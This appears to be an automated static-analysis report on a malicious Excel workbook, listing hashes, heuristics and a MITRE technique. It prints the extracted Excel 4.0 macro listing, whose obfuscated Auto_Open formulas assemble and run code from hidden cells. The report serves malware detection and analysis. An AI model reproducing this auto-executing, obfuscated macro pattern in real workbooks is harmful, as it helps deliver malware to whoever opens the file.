Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a3f8800b974f9b14…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:55 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 29f12f6e9f37fffbaea93b39b9050c09 SHA-1: 298f13b4204a41f4c83b1893309c6c66267e265b SHA-256: a3f8800b974f9b141987cf9a585a95af33766dde3361ac6087ad4f6cba2c6fbc
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding. This indicates the macro will execute automatically when the workbook is opened. The presence of dangerous formula APIs like RUN further confirms the intent to execute arbitrary code, likely to download and run a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6426 bytes
SHA-256: d53137b866accc28bbb8f4498b951e51796bfe1b8fe193f9ac03cc1c2e00d391
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  xcM
' 0018     25 LABEL : Cell Value, String Constant - AcWBRXepWg len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D179 
' 0018     22 LABEL : Cell Value, String Constant - cqIRzGO len=0 
' 0018     22 LABEL : Cell Value, String Constant - CRnulFk len=0 
' 0018     23 LABEL : Cell Value, String Constant - dMsRVKgw len=0 
' 0018     25 LABEL : Cell Value, String Constant - DqSRGyMBRD len=0 
' 0018     23 LABEL : Cell Value, String Constant - gDrVLWNs len=0 
' 0018     27 LABEL : Cell Value, String Constant - gqScNluSjRRV len=0 
' 0018     22 LABEL : Cell Value, String Constant - gYkIDMm len=0 
' 0018     20 LABEL : Cell Value, String Constant - IKaGw len=0 
' 0018     26 LABEL : Cell Value, String Constant - JMNXkvyFEZE len=0 
' 0018     25 LABEL : Cell Value, String Constant - knOwrvBYXj len=0 
' 0018     20 LABEL : Cell Value, String Constant - PYrlX len=0 
' 0018     24 LABEL : Cell Value, String Constant - rTpZXkIxy len=0 
' 0018     24 LABEL : Cell Value, String Constant - SOteKAAUK len=0 
' 0018     26 LABEL : Cell Value, String Constant - txpCogFOqBy len=0 
' 0018     20 LABEL : Cell Value, String Constant - UKETD len=0 
' 0018     23 LABEL : Cell Value, String Constant - UtkAtuVp len=0 
' 0018     26 LABEL : Cell Value, String Constant - VQLbOBhqoUk len=0 
' 0018     20 LABEL : Cell Value, String Constant - WWuja len=0 
' 0018     25 LABEL : Cell Value, String Constant - ywzOKpzADc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  xcM,D85,"SET.NAME("PYrlX",VALUE("0"))",""
'  xcM,D90,"SET.NAME("UKETD",PYrlX)",""
'  xcM,D93,"SET.NAME("gqScNluSjRRV",PYrlX)",""
'  xcM,D98,"SET.NAME("IKaGw",COUNTA(gDrVLWNs))",""
'  xcM,D100,"SET.NAME("DqSRGyMBRD",COUNTA(dMsRVKgw))",""
'  xcM,D104,[],""
'  xcM,D106,"SET.NAME("JMNXkvyFEZE","")",""
'  xcM,D110,"UKETD",""
'  xcM,D112,"SET.NAME("ywzOKpzADc",HLOOKUP("*",gDrVLWNs,UKETD,FALSE))",""
'  xcM,D116,"WWuja",""
'  xcM,D121,"SET.NAME("txpCogFOqBy",PYrlX)",""
'  xcM,D125,[],""
'  xcM,D129,"txpCogFOqBy",""
'  xcM,D132,"cqIRzGO",""
'  xcM,D136,"UtkAtuVp",""
'  xcM,D139,"CRnulFk",""
'  xcM,D144,"SET.NAME("SOteKAAUK",VALUE(HLOOKUP("*",dMsRVKgw,CRnulFk,FALSE)))",""
'  xcM,D146,"gYkIDMm",""
'  xcM,D151,"JMNXkvyFEZE",""
'  xcM,D154,"gqScNluSjRRV",""
'  xcM,D157,NEXT(),""
'  xcM,D160,"rTpZXkIxy",""
'  xcM,D165,"SET.NAME("f",INT(T(FORMULA(T(JMNXkvyFEZE)&"",""&T(rTpZXkIxy)))))",""
'  xcM,D169,"VQLbOBhqoUk",""
'  xcM,D172,NEXT(),""
'  xcM,D174,RETURN(),""
'  xcM,D205,"SET.NAME("knOwrvBYXj",D85)",""
'  xcM,D210,"gDrVLWNs",""
'  xcM,D214,"SET.NAME("dMsRVKgw",R78C14)",""
'  xcM,D217,"SET.NAME("VQLbOBhqoUk",222)",""
'  xcM,D219,"SET.NAME("AcWBRXepWg",4)",""
'  xcM,D221,knOwrvBYXj(),""
'  xcM,D222,HALT(),""

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